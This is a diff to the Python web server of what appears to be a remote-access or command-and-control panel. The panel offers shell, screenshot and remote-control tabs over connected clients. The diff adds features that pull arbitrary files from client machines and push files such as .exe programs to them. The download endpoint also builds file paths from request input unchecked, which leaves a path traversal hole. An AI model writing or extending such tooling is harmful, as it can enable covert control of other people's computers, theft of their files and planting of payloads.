Files changed (1) hide show
  1. app.py +73 -2
app.py CHANGED
@@ -137,6 +137,7 @@ HTML_CONTENT = '''<!DOCTYPE html>
137
  <div class="tabs">
138
  <button class="tab active" data-tab="shell">Shell</button>
139
  <button class="tab" data-tab="screenshot">截图</button>
 
140
  <button class="tab" data-tab="control">远程控制</button>
141
  </div>
142
  <div class="tab-content" id="tab-shell">
@@ -166,9 +167,19 @@ HTML_CONTENT = '''<!DOCTYPE html>
166
  <label style="color:#00d9ff;">
167
  <input type="radio" name="clickButton" value="right"> 右键
168
  </label>
169
- </div>
170
  </div>
171
- <div class="screenshot-view" id="screenshotView" style="flex:1;background:#000;display:flex;align-items:center;justify-content:center;overflow:hidden;"></div>
 
 
 
 
 
 
 
 
 
 
 
172
  </div>
173
  <div class="tab-content" id="tab-control" style="display:none;">
174
  <p style="color:#888;margin-bottom:15px;">远程控制</p>
@@ -372,6 +383,37 @@ HTML_CONTENT = '''<!DOCTYPE html>
372
  });
373
  }
374
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
375
  document.querySelectorAll('.tab').forEach(tab => {
376
  tab.onclick = () => {
377
  document.querySelectorAll('.tab').forEach(t => t.classList.remove('active'));
@@ -485,6 +527,35 @@ async def get_screenshot(client_id: str):
485
  return FileResponse(files[0], media_type='image/jpeg')
486
  raise HTTPException(status_code=404, detail="No screenshot")
487
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
488
  @app.get("/api/clients")
489
  async def get_clients():
490
  conn = get_db()
 
137
  <div class="tabs">
138
  <button class="tab active" data-tab="shell">Shell</button>
139
  <button class="tab" data-tab="screenshot">截图</button>
140
+ <button class="tab" data-tab="files">文件</button>
141
  <button class="tab" data-tab="control">远程控制</button>
142
  </div>
143
  <div class="tab-content" id="tab-shell">
 
167
  <label style="color:#00d9ff;">
168
  <input type="radio" name="clickButton" value="right"> 右键
169
  </label>
 
170
  </div>
171
+ </div>
172
+ <div class="tab-content" id="tab-files" style="display:none;">
173
+ <div class="command-input" style="margin-bottom:15px;">
174
+ <input type="text" id="filePath" placeholder="客户端文件路径,如 C:\\test.txt" style="flex:1;">
175
+ <button class="btn" onclick="downloadClientFile()">下载到服务器</button>
176
+ </div>
177
+ <div class="command-input" style="margin-bottom:15px;">
178
+ <input type="file" id="uploadFile">
179
+ <input type="text" id="uploadPath" placeholder="目标路径,如 C:\\uploaded.exe" style="flex:1;">
180
+ <button class="btn" onclick="uploadToClient()">上传到客户端</button>
181
+ </div>
182
+ <div class="output" id="fileOutput">文件操作结果...</div>
183
  </div>
184
  <div class="tab-content" id="tab-control" style="display:none;">
185
  <p style="color:#888;margin-bottom:15px;">远程控制</p>
 
383
  });
384
  }
385
 
386
+ async function downloadClientFile() {
387
+ const path = document.getElementById('filePath').value.trim();
388
+ if (!path || !selectedClient) return;
389
+ document.getElementById('fileOutput').textContent = '发送下载命令...';
390
+ await fetch('/api/command', {
391
+ method: 'POST', headers: {'Content-Type': 'application/json'},
392
+ body: JSON.stringify({client_id: selectedClient.id, type: 'file_download', payload: path})
393
+ });
394
+ }
395
+
396
+ async function uploadToClient() {
397
+ const fileInput = document.getElementById('uploadFile');
398
+ const path = document.getElementById('uploadPath').value.trim();
399
+ if (!fileInput.files[0] || !path || !selectedClient) {
400
+ document.getElementById('fileOutput').textContent = '请选择文件和目标路径';
401
+ return;
402
+ }
403
+
404
+ document.getElementById('fileOutput').textContent = '上传文件中...';
405
+ const formData = new FormData();
406
+ formData.append('file', fileInput.files[0]);
407
+ formData.append('client_id', selectedClient.id);
408
+ formData.append('path', path);
409
+
410
+ await fetch('/api/file/upload_to_client', {
411
+ method: 'POST',
412
+ body: formData
413
+ });
414
+ document.getElementById('fileOutput').textContent = '文件已上传到服务端';
415
+ }
416
+
417
  document.querySelectorAll('.tab').forEach(tab => {
418
  tab.onclick = () => {
419
  document.querySelectorAll('.tab').forEach(t => t.classList.remove('active'));
 
527
  return FileResponse(files[0], media_type='image/jpeg')
528
  raise HTTPException(status_code=404, detail="No screenshot")
529
 
530
+ @app.post("/api/file/upload_to_client")
531
+ async def upload_to_client(client_id: str = Form(...), path: str = Form(...), file: UploadFile = File(...)):
532
+ filename = f'{client_id}_{int(datetime.now().timestamp())}_{file.filename}'
533
+ filepath = f'{UPLOAD_DIR}/files/{filename}'
534
+
535
+ content = await file.read()
536
+ async with aiofiles.open(filepath, 'wb') as f:
537
+ await f.write(content)
538
+
539
+ # 发送命令让客户端下载
540
+ cmd_id = str(uuid.uuid4())
541
+ conn = get_db()
542
+ conn.execute('''INSERT INTO commands (id, client_id, type, payload, status, created_at)
543
+ VALUES (?, ?, 'file_upload', ?, 'pending', ?)''',
544
+ (cmd_id, client_id, filepath, datetime.now().isoformat()))
545
+ conn.commit()
546
+ conn.close()
547
+
548
+ return {'status': 'ok', 'cmd_id': cmd_id, 'filepath': filepath}
549
+
550
+ @app.get("/api/file/download")
551
+ async def download_file_from_client(client_id: str = "", filename: str = ""):
552
+ if not client_id or not filename:
553
+ raise HTTPException(status_code=400, detail="client_id and filename required")
554
+ filepath = f'{UPLOAD_DIR}/files/{client_id}_{filename}'
555
+ if os.path.exists(filepath):
556
+ return FileResponse(filepath)
557
+ raise HTTPException(status_code=404, detail="File not found")
558
+
559
  @app.get("/api/clients")
560
  async def get_clients():
561
  conn = get_db()